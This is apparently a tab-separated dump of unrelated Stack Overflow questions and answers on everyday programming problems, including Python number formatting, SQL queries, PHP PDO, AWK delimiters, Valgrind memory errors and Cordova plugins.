33219633	0	 <p>Using the newer version <code>''.format</code> (also remember to specify how many digit after the <code>.</code> you wish to display, this depends on how small is the floating number). See this example:</p> <pre><code>&gt;&gt;&gt; a = -7.1855143557448603e-17 &gt;&gt;&gt; '{:f}'.format(a) '-0.000000' </code></pre> <p>as shown above, default is 6 digits! This is not helpful for our case example, so instead we could use something like this:</p> <pre><code>&gt;&gt;&gt; '{:.20f}'.format(a) '-0.00000000000000007186' </code></pre>
40887193	0	D3.js zoom is not working with mousewheel in safari <p>I'm using D3 v4 to achieve the zoom functionality and everything works perfectly on FireFox, Chrome browsers.</p> <p>Quite different behavior with <code>Safari</code> browser (my version is <code>Version 10.0.1 (12602.2.14.0.7)</code>). Wheel zoom works for <code>g</code> element and doesn't work for <code>svg</code> element. Note: that <code>dbClick</code> zoom works for <code>svg</code> element.</p> <p>I've created simple <a href="https://jsfiddle.net/vbabenko/zq0v1rta/1/" rel="nofollow noreferrer">fiddle example</a> where tried to reproduce the issue. If you try wheel zoom over <code>red rect</code> - it will work, outside of <code>rect</code> - not work, but works for other browsers.</p> <p>I was looking for official examples like <a href="https://bl.ocks.org/mbostock/db6b4335bf1662b413e7968910104f0f" rel="nofollow noreferrer">https://bl.ocks.org/mbostock/db6b4335bf1662b413e7968910104f0f</a> where everything works and I could not find a problem with my example...</p> <p>Here is a zones where zoom works (madness is that left and top zone in the svg has working zoom): <a href="https://i.stack.imgur.com/XNZdv.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XNZdv.png" alt="wheel_zoom_working_zones"></a></p>
16783198	0	 <p>I haven't done that kind in <code>AsyncTask</code> but you can try perform the second task inside the <code>doInBackground{}</code> of the first task.</p> <pre><code>@Override protected String doInBackground(Object... objs) { . . . new ClientEspejoAsyncTask().execute(objs[0]); } </code></pre> <p>but i would recommend you to use Thread instead for this kind of concept. <a href="http://www.tutorialspoint.com/java/java_thread_synchronization.htm" rel="nofollow">http://www.tutorialspoint.com/java/java_thread_synchronization.htm</a></p>
23716783	0	Subquery returns more than 1 row i dont know <p>When i trying get the "tytul" field i catch this error</p> <pre><code> SELECT f.*, (SELECT MAX(e) FROM seriale WHERE s = MAX(k.s) AND id_serialu = f.id) as e, MAX(k.s) as s, (SELECT tytul FROM seriale c WHERE c.s = s AND c.e = e) as tytul FROM serial f LEFT JOIN seriale k ON f.id=k.id_serialu GROUP BY f.id ORDER BY f.id DESC LIMIT 25 </code></pre>
14306925	0	How do I add a string to browser's auto-complete popup? <p>Here is what google login screen looks like:</p> <p><img src="https://i.stack.imgur.com/NUGyI.png" alt="text suggestions"></p> <p>you click it and a list of suggestions pops out.</p> <p>I'd like to do something similar on my own website, where the user would click on the input, and a list of javascript populated suggestions would pop out (or the list of past searches together with my suggestions).</p> <p>How can I do this using javascript?</p>
35729161	0	 <p>Your JSX syntax was not correct. I tested this by copying your code into <a href="https://babeljs.io/repl/" rel="nofollow">https://babeljs.io/repl/</a>. Specifically, in your <code>User</code> component, you have:</p> <pre><code>&lt;img src="{this.props.pics} /&gt; </code></pre> <p>You need to remove the double quote from that line.</p>
36355136	0	Bind dynamic parameters to SQL SP with php pdo <p>This question is related to this <a href="http://stackoverflow.com/questions/36349307/sql-stored-procedure-formatting-error">SQL Stored procedure formatting error</a></p> <p>Wanna bind dynamic parameters from PHP PDO. Only getting results for one parameter(@rep=:rep). When second parameter added won't getting any out put</p> <pre><code>public function ar_report($rep,$market,$agent,$warehouse,$customername,$regionalname){ $query = "{CALL arReports(@rep=:rep,@market=:market)}"; $stmt = $this-&gt;db-&gt;prepare($query); if ($rep != "") { $stmt-&gt;bindParam(':rep', $rep); } if ($market != "") { $stmt-&gt;bindParam(':market', $market); } $stmt-&gt;execute(); $rows = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC); return $rows; } </code></pre>
10421664	0	 <p>remove dot <strong>.</strong> after <code>$.("</code></p> <pre><code>$("#test1").click( function () { $ratio = 1; }); $("#test2").click( function () { $ratio = 2; }); </code></pre>
35594745	0	how to add an offset and limit with join query? <p>I'm new to codeigniter ,and I have done the below code </p> <pre><code>public function members($limit, $offset) { $this-&gt;load-&gt;model('Management/Member_model', 'member'); $this-&gt;db-&gt;reset_query(); $this-&gt;db-&gt;select('*'); $this-&gt;db-&gt;from($this-&gt;member-&gt;table); $this-&gt;db-&gt;join('ib_communities_dtl','ib_communities_dtl.dtl_user_id='.$this-&gt;member-&gt;table.'.user_id','inner'); $this-&gt;db-&gt;join('ib_communities','ib_communities_dtl.dtl_community_id=ib_communities.community_id','inner'); $this-&gt;db-&gt;where('ib_communities.community_id', $this-&gt;community_id); return $this-&gt;db-&gt;get()-&gt;result('Member_model'); } </code></pre> <p>I want to add offset and limit to the above query , can anyone help me modify it to accomplish that?</p> <p>Thanks in advance </p>
6851475	0	 <p>There are two things you aught to keep in mind when trying to optimize network bandwidth.</p> <p>The first is that you have to transfer about 40 bytes of overhead every time you want to talk to the peer. That's just inherent in IP. Trying to get communication down to a single byte is often a false economy. What you should be doing is making the best of the round trip: combine the message with as much additional data as the peer <em>might</em> later need. To a limited extent, the Nagle algorithm already takes care of this for naive services, delaying the packet until the peer actually indicates that it's ready for more data, and that's usually sufficient.</p> <p>The second is that, at typical MTU scales, it's almost impossible to design an uncompressed, binary protocol that's more space efficient than a simpler protocol that is tunneled using general purpose compression. There is no "packed binary http" because the gzipped ascii transfer encoding would beat it anyways. When bandwidth is a concern, always include compression. All that's left is to make sure that your protocol is "easy" to compress. </p>
29344631	0	Getting a datetime to php from javascript array <p>I'm working with a JQuery datetime picker and am trying to save the selected date time into the php variable in order to save it into mysql database. I've seen alot of different eaxmples on here and have tried a few but none seem to be working for me. The output of the date time seems to be outputed to an array, this is where i am having difficulty before conversion.</p> <p>this is my JQuery picker and posting method: </p> <pre><code>$(function () { $('*[name=date2]').appendDtpicker({ "inline": true, "allowWdays": [1, 2, 3, 4, 5], // 0: Sun, 1: Mon, 2: Tue, 3: Wed, 4: Thr, 5: Fri, 6: Sat "futureOnly": true, "autodateOnStart": false }); $('#btn_input').on('click', function () { var input = $('*[name=date2]').handleDtpicker('getDate'); console.log(input); $.post("backend.php", { 'input': input }).done(function (data) { alert("Server Response: " + data); }); }); }); </code></pre> <p>This is the backend.php:</p> <pre><code>&lt;?php session_start(); print_r($_POST); ?&gt; </code></pre> <p>and finally this is the output in the alert:</p> <pre><code>Server Response: Array ( [input] =&gt; Tue Mar 31 2015 11:20:00 GMT+0100 (GMT Standard Time) ) </code></pre> <p>and the output if backend.php is run:</p> <pre><code>Array ( ) </code></pre> <p>If anyone can point me in the right direction i appreciate all the help, new to php and very confused!</p>
31869705	0	 <p>I got this answer by casting value into dacimal.</p> <p><strong>SET p_percentage = DECIMAL(((p_obtain_marks * 100)/p_total),3,2);</strong></p> <p>Thanks Henrik Loeser and Alex.</p>
36102038	0	 <p>First modify your tableView:cellForRowAtIndexPath: implementation as follows. Then you need to implement the click handler. One way would be in the MyCell class. Another would be to override <a href="https://developer.apple.com/library/ios/documentation/UIKit/Reference/UITableView_Class/index.html#//apple_ref/occ/instm/UITableView/selectRowAtIndexPath:animated:scrollPosition:." rel="nofollow">selectRowAtIndexPath</a>. Without knowing more about what you want (e.g. multiple vs single selection), it's hard to give actual code but here's something.</p> <pre><code>BOOL clickedRows[MAX_ROWS]; // Init this array as all false in your init method. It would be better to use NSMutableArray or something similar... // selectRowAtIndexPath code int row = indexPath.row if(clickedRows[row]) clickedRows[row]=NO; // we reverse the selection for the row else clickedRows[row]=YES; [self.tableView reloadData]; // cellForRowAt... code MyCell *cell = [tableView dequeueResuableCell... if(cell.clicked) { // Nice Nib [tableView registerNib:[UINib nibWithNibName... for CellReuse... } else { // Grey Nib [tableView registerNib:[UINib nibWithNibName... for CellReuse... } </code></pre>
33873782	0	 <p>Thanks alvas for summing it up so nicely, this would help other people too. Moreover I also find any version of the Reuters dataset which has relatively less number of categories. This article <a href="http://www.datalyzers.com/downloads/reuters-21578-dataset-for-text-classification/" rel="nofollow">here</a> explains it better.</p>
32460271	0	 <p>You could modify the ioslide template to remove the repetition of the logo on each page. Download the template <a href="https://github.com/rstudio/rmarkdown/blob/3d46213d750fd4ebb83e73d0df357f081c73f49f/inst/rmd/ioslides/default.html" rel="nofollow">on the rmarkdown github repository</a> or find your local version on your computer. Remove the following part:</p> <pre><code>$if(logo)$ slides &gt; slide:not(.nobackground):before { font-size: 12pt; content: ""; position: absolute; bottom: 20px; left: 60px; background: url($logo$) no-repeat 0 50%; -webkit-background-size: 30px 30px; -moz-background-size: 30px 30px; -o-background-size: 30px 30px; background-size: 30px 30px; padding-left: 40px; height: 30px; line-height: 1.9; } $endif$ </code></pre> <p>Save the resulting file as <code>default.ioslides</code> in your pandoc home:</p> <pre><code>$HOME/.pandoc/templates (unix) C:\Documents And Settings\USERNAME\Application Data\pandoc\templates (windows XP) C:\Users\USERNAME\AppData\Roaming\pandoc\templates (windows 7) </code></pre> <p>The <code>logo</code> linked in your yaml front matter should now only appear on the title slide.</p> <p>(I answered a similar question <a href="http://stackoverflow.com/a/30955475/4132844">here</a>)</p>
7743588	0	 <p>There's not much to go on here but it sounds like you are looking for the Admin Skin functionality. The admin skin is the skin used when you are editing the contents of a module.You can specify the Admin skin in Site Settings. There are definitely cases, and I suspect this is one of them, where it's helpful to have a separate Admin skin.</p> <p>But generally, I'm not aware of any cases where DotNetNuke will prevent you from doing something you can do outside of DNN. There really are no limitations in it's skinning implementation, as it exposes the full capabilities of ASP.NET. The only caveat is sometimes some additional unwanted markup is added around your content. With DNN6, they are making the rendering of lots of elements cleaner and more semantic.</p>
30456412	0	 <p>SQL server specially don't have any function to add and subtract time but if you need you can use </p> <pre><code>DATE_SUB() DATE_ADD() </code></pre> <p>By putting same date in each time <a href="http://www.w3schools.com/sql/func_date_add.asp" rel="nofollow">http://www.w3schools.com/sql/func_date_add.asp</a></p> <p><a href="http://www.w3schools.com/sql/func_date_sub.asp" rel="nofollow">http://www.w3schools.com/sql/func_date_sub.asp</a></p>
33565196	0	 <p>Just use </p> <pre><code>onblur="fnx()" </code></pre> <p>It may work!! </p>
7386070	0	 <p>You could take a look at <a href="http://stackoverflow.com/questions/2772908/max-size-ipad-iphone-offline-application-cache/2784859#2784859">this</a>. </p> <p>Try repeating the process of increasing the manifest in chunks less than 5MB before updating the cache with <code>window.applicationCache.update()</code> and you should be able to pass the 10mb limit</p>
14291778	0	 <h1>Analysis</h1> <p>The <code>propertyChanged</code> event is raised when ... a property changes. But that's not what you want to watch. You want to monitor the <code>entityAspect.entityState</code> </p> <p>When you set a property to a new value (for example <code>person.FirstName("Naunihal")</code>), you get <strong>both</strong> a propertyChanged event and a change to the entity's <code>EntityState</code>. </p> <p>When you delete the entity, the entity's <code>EntityState</code> changes ... to "Deleted". But deleting doesn't change a property of the entity. Breeze does not consider the <code>EntityState</code> itself to be a property of the entity. Therefore, there is no <code>propertyChanged</code> notification. </p> <h1>Solution</h1> <p><strong>Update Jan 12, 2013</strong> I think more people will discover this solution if I rephrase the question that you asked so people understand that you want to listen for changes to <code>EntityState</code>.</p> <p>So I moved my answer to a new SO question: <a href="http://stackoverflow.com/questions/14297908/how-can-i-detect-a-change-to-an-entitys-entitystate">"<em>How can I detect a change to an entity's EntityState?</em>"</a>. Hope you don't mind following that link.</p>
22906138	0	 <pre><code>function paging_nav() { $paged = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1; $pagenum_link = html_entity_decode( get_pagenum_link() ); $query_args = array(); $url_parts = explode( '?', $pagenum_link ); if ( isset( $url_parts[1] ) ) { wp_parse_str( $url_parts[1], $query_args ); } $pagenum_link = remove_query_arg( array_keys( $query_args ), $pagenum_link ); $pagenum_link = trailingslashit( $pagenum_link ) . '%_%'; $format = $GLOBALS['wp_rewrite']-&gt;using_index_permalinks() &amp;&amp; ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : ''; $format .= $GLOBALS['wp_rewrite']-&gt;using_permalinks() ? user_trailingslashit( 'page/%#%', 'paged' ) : '?paged=%#%'; $links = paginate_links( array( 'base' =&gt; $pagenum_link, 'format' =&gt; $format, 'total' =&gt; $GLOBALS['wp_query']-&gt;max_num_pages, 'current' =&gt; $paged, 'mid_size' =&gt; 1, 'add_args' =&gt; array_map( 'urlencode', $query_args ), 'prev_text' =&gt; __( 'Previous Page ' ), 'next_text' =&gt; __( 'Next Page' ), ) ); echo $links ; </code></pre>
3452327	0	C# Adding one more option to PictureBox <p>i was wondering how could i add .customString to PictureBox object.<br> Something like:</p> <pre><code>PictureBox box = new PictureBox(); box.CustomString = "string here"; </code></pre> <p>And then later on i would be access it.</p> <pre><code>MessageBox.Show(boxname.CustomString); </code></pre> <p>Thank you.</p>
21755538	0	Nginx proxy rewrite configuration <p>it is possible to rewrite a url and use a proxy server for backgound connection?</p> <p>An example, I want to use this URL <code>my.domain.org/demo</code> on my proxy server and redirect this into the root directory of my tomcat on another server with proxy_pass <code>my.tomcat.local</code>.</p> <p>The url must be place <code>my.domain.org/demo</code> and must used the proxy url <code>my.tomcat.local</code> (without any subdomains). Is this hook possible?</p> <p>Thanks !!!!</p>
4836625	0	How to update table values using regular expression? <p>Hi is it possible to update email and website links using regular expression. in my wordpress post meta table I loss all metakey values. I have the meta values only. is it possible to check the meta value like email or site links using regular expression and update ?</p>
22383216	0	Trying to use CASE in APEX function <p>I am trying to create a fucntion that will read in the value of a column, that is either "H", "C" or "N" and return "Hot", "Cold" or "None", but the case statement i have written keeps casuing this error: </p> <p><code>Error at line 5: PL/SQL: Statement ignored</code></p> <p>Here is my code, i'm not sure what i'm doing wrong, and the error is typically vague.</p> <pre><code>CREATE OR REPLACE FUNCTION refreshment( code IN string) RETURN STRING IS BEGIN RETURN( CASE code WHEN "H" THEN "Hot" WHEN "C" THEN "Cold" WHEN "N" THEN "None" END ); END; </code></pre>
39697560	0	 <p>Orientation attribute is per activity so you can declare the orientation for only the activity that contains the fragment so that it is in landscape and the rest of the activities will remain as they are.</p> <p>So you need set orientation in onCreateView of each fragment Plse Check below code:</p> <p>FragmentA </p> <pre><code> public class FragmentA extends Fragment { @Override public View onCreateView(LayoutInflater inflater,ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_a, container, false); changeFragmentOrientation(); return view; } } public void changeFragmentOrientation(){ getActivity().setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); } </code></pre> <p>FragmentB</p> <pre><code>public class FragmentB extends Fragment { @Override public View onCreateView(LayoutInflater inflater,ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_b, container, false); changeFragmentOrientation(); return view; } } public void changeFragmentOrientation(){ getActivity().setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); } </code></pre>
22711940	0	AWK : Field Separator as Double Pipes or more <p>My data:</p> <pre><code>-1||"A|AA"||aaa@ymail -10||"B ||B|ttB||b|| bb@ymail -7||C||c </code></pre> <p>I want to exchange the double pipe delimiters <code>||</code> with a comma <code>,</code> like this:</p> <pre><code>awk -F'||' -v OFS="," '{$1=$1} 1' 2.txt </code></pre> <p>but the output remains the same. The reverse case (comma delimiter to double pipe), however, works:</p> <pre><code>awk -F"," -v OFS="||" '{$1=$1} 1' 1.txt </code></pre> <p>What am I doing wrong?</p>
29863166	0	 <p>Just use the <code>Cache-Control: no-cache</code> header.<br> Implement it as delegating-Handler and make sure your header is applied (with MS Owin Implementation hook up on <code>OnSendingHeaders()</code>. I'm using it here <a href="https://github.com/StefanOssendorf/SecurityHeadersMiddleware/blob/master/src/OwinContrib.SecurityHeaders/ContentSecurityPolicyMiddleware.cs" rel="nofollow">OnSendingHeaders() Example</a>).</p>
15520820	0	Populate ListView from XML file <p>I have the following sample XML file from which i need to poplutate a ListView. I've been playing for hours but I don't know the best way to go about it. I want to use Linq to achieve this but my knowledge is somewhat lacking. It is a Winforms c# project.</p> <pre><code>&lt;DMs&gt; &lt;dataModule&gt; &lt;DMC&gt;11111&lt;/DMC&gt; &lt;techName&gt;Test Techname 1&lt;/techName&gt; &lt;infoName&gt;info 1&lt;/infoName&gt; &lt;status&gt;complete&lt;/status&gt; &lt;notes&gt;Note 1&lt;/notes&gt; &lt;/dataModule&gt; &lt;dataModule&gt; &lt;DMC&gt;22222&lt;/DMC&gt; &lt;techName&gt;Test Techname 2&lt;/techName&gt; &lt;infoName&gt;info 2&lt;/infoName&gt; &lt;status&gt;in work&lt;/status&gt; &lt;notes&gt;Note 2&lt;/notes&gt; &lt;/dataModule&gt; &lt;dataModule&gt; &lt;DMC&gt;33333&lt;/DMC&gt; &lt;techName&gt;Test Techname 3&lt;/techName&gt; &lt;infoName&gt;info 3&lt;/infoName&gt; &lt;status&gt;QA required&lt;/status&gt; &lt;notes&gt;Note 3&lt;/notes&gt; &lt;/dataModule&gt; &lt;/DMs&gt; </code></pre> <p>I have the following very basic code which successfully populates the first column of the listview with the DMC element text, but i need the sibling elements (techName, infoname, status and notes) to populate the other columns of the listview.</p> <pre><code>XDocument doc = XDocument.Load(CSDBpath + projectName + "\\Data.xml"); var DMCs = from item in doc.Descendants("dataModule") select item.Element("DMC").Value; foreach (var dmc in DMCs) { ListViewItem item = new ListViewItem(dmc); listView1.Items.Add(item); } </code></pre>
13516169	0	 <p>The code you need is as following:</p> <pre><code>Context context = instrumentation.getTargetContext(); PreferenceManager.getDefaultSharedPreferences(context).edit().clear().commit(); </code></pre> <p>If your application uses any different shared preferences you may need to clear them too in the following way:</p> <pre><code>context.getSharedPreferences("XXX", Context.MODE_PRIVATE).edit().clear().commit(); </code></pre>
31610939	0	How to winforms C# application having two image folder? <p>I have a situation that there are two image folders containing images. These image folder are dynamically populated with images. I have made these image folder under project directory of visual studio. Its working fine before publishing. After publishing, one image folder gives me images but for the next one I am not getting any images .</p> <p>I have made all images property as <code>Build</code> in action as <code>Content</code> and copy always </p>
18645452	0	 <p>try </p> <p>author_name as 'John O'Mahony'.</p>
9521750	0	Facebook API crashed after changing hosting server <p>I implemented the Facebook API on my website and everything was working fine. Two days ago I moved my website to another server and the Facebook API stopped working. I reset my APP Secret Key thinking that it may fix the problem but it didn't.</p> <p>The javascript works fine. I can connect using it but when I try to get the user with php it says some error like this: <strong>Uncaught OAuthException: Error validating application.</strong></p> <p>Thanks for your help</p>
26660097	0	 <p>Try this:</p> <pre><code>public function show_image() { // this returns "keepcalm.png" $remoteImage = $this-&gt;get_local_link_from_id($this-&gt;imageid); // Set Header header("Content-Type: image/png"); // More info: http://stackoverflow.com/a/2086406/2332336 // Output the contents of image readfile($remoteImage); exit; } </code></pre> <p>If this doesn't work for you, it means PHP is not able to locate the local image <code>keepcalm.png</code> Possibly because it doesn't exist here: <code>http://niederrad.no-ip.org/portal/keepcalm.png</code> (i.e. from the script (<code>image_get.php</code>) execution location <code>http://niederrad.no-ip.org/portal/</code>)</p> <p>If this is the case, you might have to tell your <code>readfile()</code> command where the image is located on your server. By that I mean specify the absolute path to file (on linux server <code>/home/USERNAME/public_html/images/</code> for example)</p> <p>If the image is on a remote server (as your variable name suggests), then your code should look like this:</p> <pre><code> // Output the contents of image exit(file_get_contents('http://remote-site.com/path/to/'. $remoteImage)); </code></pre> <p>Assuming your PHP config has <code>allow_url_fopen</code> set to true.</p>
26589849	0	 <p>I finally found a solution so I thought I'd share.</p> <p>To start with it turns out I was editing an old index file so any changes weren't taking affect. Once I realised this I noticed I was including cordova.js <strong>twice</strong>, once in the head and once below the body, this was causing the following error to occur </p> <pre><code>module org.apache.inappbrowser does not exist </code></pre> <p>I removed this but still couldn't get the plugin to work, I used the CLI to add and remove the plugin several times but still no joy.</p> <p>After hours of digging I realised I had old redundant plugin code in several different directories, I deleted all plugins from the following directories, along with the android.json file:</p> <pre><code>[my_project]/plugins [my_project]/platforms/android/src/org/apache/cordova/inappbrowser [my_project]/platforms/android/cordova/plugins/ [my_project]/platforms/android/assets/www/plugins </code></pre> <p>Once I had removed all this I then added the plugin</p> <pre><code>cordova plugin add org.apache.cordova.inappbrowser </code></pre> <p>This appears to have fixed everything for me so hopefully it'll help someone else!</p>
19751094	0	Valgrind out of memory <p>This is the message I get when valgrind crashes and stops profiling my app: </p> <pre><code> ==16317== ==16317== Valgrind's memory management: out of memory: ==16317== newSuperblock's request for 4194304 bytes failed. ==16317== 3013349376 bytes have already been allocated. ==16317== Valgrind cannot continue. Sorry. ==16317== ==16317== There are several possible reasons for this. ==16317== - You have some kind of memory limit in place. Look at the ==16317== output of 'ulimit -a'. Is there a limit on the size of ==16317== virtual memory or address space? ==16317== - You have run out of swap space. ==16317== - Valgrind has a bug. If you think this is the case or you are ==16317== not sure, please let us know and we'll try to fix it. ==16317== Please note that programs can take substantially more memory than ==16317== normal when running under Valgrind tools, eg. up to twice or ==16317== more, depending on the tool. On a 64-bit machine, Valgrind ==16317== should be able to make use of up 32GB memory. On a 32-bit ==16317== machine, Valgrind should be able to use all the memory available ==16317== to a single process, up to 4GB if that's how you have your ==16317== kernel configured. Most 32-bit Linux setups allow a maximum of ==16317== 3GB per process. ==16317== ==16317== Whatever the reason, Valgrind cannot continue. Sorry. </code></pre> <p>I 've tried using huge swap files but it doesn't get better. The crash happens long before my swap file is nearly full. I 'm using Fedora 19. Does anyone know anything about this?I think I read something on the internet about how there may be a limit to the memory a single process can allocate.If this is the case ,where can I set it?At least give me a good alternative to valgrind people :P.</p> <p>Thanks in advance</p>
24264857	0	 <p>The two relevant pieces of code that are conflicting with each other are:</p> <pre><code>removeByValue(myArray, new Date(year, month, day)); if (arr[i].begin == val) { </code></pre> <p>You are creating a brand new object and then checking if it is the same object as an object that already existed. It can't be. It's brand new.</p> <p>Instead of reference equality, if you can trust that <code>arr[i].begin</code> is a date, then you perhaps want a date comparison:</p> <pre><code>if (arr[i].begin.getTime() === val.getTime()) { </code></pre> <p>This takes both dates and converts them to an integer representation of the number of millisecond since 1970, then makes sure those integers match.</p>
11004959	0	 <p>That article "<a href="http://www.art-coder.com/2010/06/20/little-bit-about-encoding/" rel="nofollow">Little bit about encoding</a>" should help you with your problem.</p>
36589961	0	 <p>Try it!!!!</p> <pre><code>@Override public void onReceive(Context context, Intent intent) { Notification notification = null; String action = intent.getAction(); if(action.equalsIgnoreCase("com.example.app.ACTION_PLAY")){ if(mp.isPlaying()) { notification.contentView.setViewVisibility(R.id.pause, View.INVISIBLE); notification.contentView.setViewVisibility(R.id.play, View.VISIBLE); mp.pause(); } else { notification.contentView.setViewVisibility(R.id.play, View.INVISIBLE); notification.contentView.setViewVisibility(R.id.pause, View.VISIBLE); mp.start(); } } } </code></pre>
154582	0	 <p><strong>EDIT:</strong> As noted in comments, these days I'm happy to use <code>Interlocked</code> for the cases of a <em>single variable</em> where it's <em>obviously</em> okay. When it gets more complicated, I'll still revert to locking...</p> <p>Using <code>volatile</code> won't help when you need to increment - because the read and the write are separate instructions. Another thread could change the value after you've read but before you write back.</p> <p>Personally I almost always just lock - it's easier to get right in a way which is <em>obviously</em> right than either volatility or Interlocked.Increment. As far as I'm concerned, lock-free multi-threading is for real threading experts, of which I'm not one. If Joe Duffy and his team build nice libraries which will parallelise things without as much locking as something I'd build, that's fabulous, and I'll use it in a heartbeat - but when I'm doing the threading myself, I try to keep it simple.</p>
31948662	0	 <p>You should be able to configure these mappings using either Data Annotations or the Fluent API. Here's a sample of how you might do it using the annotations:</p> <pre><code>[Table("Clients")] class Client { [Key] public int Client_Id {get;set;} public virtual ICollection&lt;Note&gt; Notes {get;set;} } [Table("Notes")] class Note { [Key] public int Note_Id {get;set;} public int Account_Id {get;set;} [ForeignKey("Account_Id")] public virtual Client Client {get;set;} } </code></pre>
39287113	0	How to mock a Wicket component <p>I am trying to unittest a wicket panel with the help of WicketTester and Spock/Mockito.</p> <p>In this panel, a <code>ModalWindow</code> (confirmation dialog) is show in a good case scenario.</p> <p>I want to validate this dialog will be shown, so I tried to mock the component, inject it into the panel and test if the <code>show</code> method is called. This won't work, as Wicket throws the following error:</p> <pre><code>java.lang.IllegalStateException: org.apache.wicket.Component has not been properly detached. Something in the hierarchy of X has not called super.onDetach() in the override of onDetach() method </code></pre> <p>It's not suprising a mock can not call the <code>onDetach</code> method on it's super class.</p> <p>I've tried stubbing the <code>ModalWindow</code> and using a spy to verify if the <code>show</code> method is called, but the implementation of that method has dependencies / external calls that are hard to mock.</p> <p>Which way should I approach this problem? Or shouldn't I even try to make this kind of test work?</p>
11497372	0	Executing a function after the previous function has finished running <p>I have a function <code>my_function()</code> which I need to run 10 times. Right now all 10 functions are running at the same time (asynchronously?). How can the next execution of the function occur after the previous one has finished?</p> <p><em><code>my_function</code> contains <code>CURL</code> calls and reading/writing to database tables. I wonder if any of these are running asynchronously</em></p> <pre><code>$repetitions = 10; for($i = 0; $i &lt; $repetitions; $i++) { my_function($param); } </code></pre>
26644824	0	 <p>Right off hand it looks like you're trying to reference the images and container in your JavaScript before the document is loaded. Try moving your script tag with code after (or right before) the closing <code>&lt;/body&gt;</code> tag.</p> <p>Because the document hasn't fully loaded, the DOM API in JavaScript can't yet access those elements if your JavaScript is in the head.</p>
526733	0	Maven plugin executing another plugin <p>I'm trying to create a new plugin to package my latest project. I'm trying to have this plugin depend on the maven-dependency-plugin to copy all my projects dependencies.</p> <p>I've added this dependency to my plugin's pom, but I can't get it to execute.</p> <p>I have this annotation in my plugins main Mojo:</p> <pre><code>@execute goal="org.apache.maven.plugins:maven-dependency-plugin:copy" </code></pre> <p>I've tried a few other names for the goal, like <em>dependency:copy</em> and just <em>copy</em> but they all end with a message saying that the required goal was not found in my plugin. What am I doing wrong?</p> <p>Secondary to this is where to I provide configuration info for the dependency plugin?</p>
21704345	0	How to use "Process Document From File" operator of RapidMiner in Java Code <p>I have just started using rapid miner for text classification. I have created a process in which i used "Process Document from Files" operator for tf-idf conversion. I want to ask how to use this operator in Java code ? I search on internet but all are using the already created process or word list generated from documents ? I want to start it from scratch i.e. </p> <p>1 ) Process Documents From File </p> <p>1.1) Tokenization</p> <p>1.2) Filtering</p> <p>1.3) Stemming</p> <p>1.4) N-Gram</p> <p>2) Validation</p> <p>2.1) Training (K-NN)</p> <p>2.2) Apply Model</p>
38213858	0	 <p>This is a Java solution that computes the ways by basically counting them one by one. One billion ways is computed in ~ 8 seconds.</p> <pre><code>long compute(int N, int M, int[] positions, int[] dimensions) { if (M == 0) { return 1; } long sum = 0; for (int i = 0; i &lt; N; i++) { if (positions[i] &lt; dimensions[i]) { positions[i]++; sum += compute(N, M - 1, positions, dimensions); positions[i]--; } if (positions[i] &gt; 1) { positions[i]--; sum += compute(N, M - 1, positions, dimensions); positions[i]++; } } return sum % 1000000007; } </code></pre>
27240585	0	Private namespaces for library sub-modules using prototype <p>I'm working on a large JavaScript UI module, think about something in the dimension of iScroll. For keeping the thing sane, I split the library up into several logical sub-modules (like: touch interaction, DOM interaction, etc.) that communicate with each other using a simple pubsub system.</p> <p>Each of these sub-modules has it's own namespace I use for storing variables. To enable several instances of the library running at the same time, the constructor includes some logic to copy every namespace that has been assigned to a 'toCopy' object directly into every new instance.</p> <p>The basic structure looks something like this:</p> <pre><code>// constructor function Constructor() { for (var key in this.toCopy) { // create a deep copy and store it inside the instance this[key] = utils.copyObj(this.toCopy[key]); } } Constructor.prototype.toCopy = {} // sub-module #1 Constructor.prototype.toCopy._module1Namespace = {} Constructor.prototype._privateFn = function() { /** do stuff within this._module1Namespace or send events */ } Constructor.prototype._privateFn = function() { /** do stuff within this._module1Namespace or send events */ } // sub-module #2 Constructor.prototype.toCopy._module2Namespace = {} Constructor.prototype._privateFn = function() { /** do stuff with this._module2Namespace or send events */ } Constructor.prototype._privateFn = function() { /** do stuff with this._module2Namespace or send events */ } </code></pre> <p>My problem: I really dislike having to expose the namespace of each sub-module to the rest of the library. Although I'm disciplined enough not to access the namespace of sub-module #1 within a function of sub-module #2, I want it to be technically impossible.</p> <p>However, as several instances of the UI library have to run at the same time, I cannot put every sub-module inside a closure and define a private namespace inside this closure. This would result in every instance of the library accessing the same sub-module closure and therefore the same namespace.</p> <p>Also, putting everything inside the constructor instead of into the prototype would create a new set of functions for every new instance, which somehow contradicts the idea of a good library.</p> <p>My research hasn't brought up any useful patterns for this problem so far, I'm thankful for all suggestions.</p>
2430963	0	 <p>I ended up having to set the innerHTML of the select.</p> <p>I came up with the following extension method that has a special routine for IE6:</p> <pre><code>$.fn.setDropDownValue = function(valueToSet) { if ((!this[0].options) || (this[0].options.length == 0)) return; if ($.browser.msie &amp;&amp; $.browser.version == 6.0) { var open = '&lt;OPTION value=\''; var html = ''; for (var i = 0; i &lt; this[0].options.length; i++) { var opt = $(this[0].options[i]); html += open + $(opt).val() + '\''; if (opt.val() == valueToSet) { html += ' selected'; } html += '&gt;' + opt.html() + '&lt;/OPTION&gt;'; } $(this).html(html); } else { this.val(valueToSet); } }; </code></pre>
